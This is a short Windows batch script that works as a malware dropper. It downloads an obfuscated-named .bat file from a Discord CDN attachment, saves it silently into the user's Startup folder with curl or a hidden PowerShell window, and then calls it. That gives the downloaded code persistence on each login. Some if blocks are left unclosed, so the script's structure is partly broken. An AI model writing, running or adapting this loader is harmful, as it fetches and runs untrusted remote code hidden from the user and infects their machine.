@echo off
setlocal
set "URL=https://cdn.discordapp.com/attachments/1110260898305683626/1126694291331367063/OBF1x-obflazim_2.bat"
set "DEST=%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\script.bat"
if exist "%DEST%" del "%DEST%"
ver | findstr /i "Windows NT 10." > nul
if %errorlevel% EQU 0 (
curl --silent --output "%DEST%" "%URL%"
) else (
powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri '%URL%' -OutFile '%DEST%'"
if %errorlevel% neq 0 (
exit /b %errorlevel%
call "%DEST%"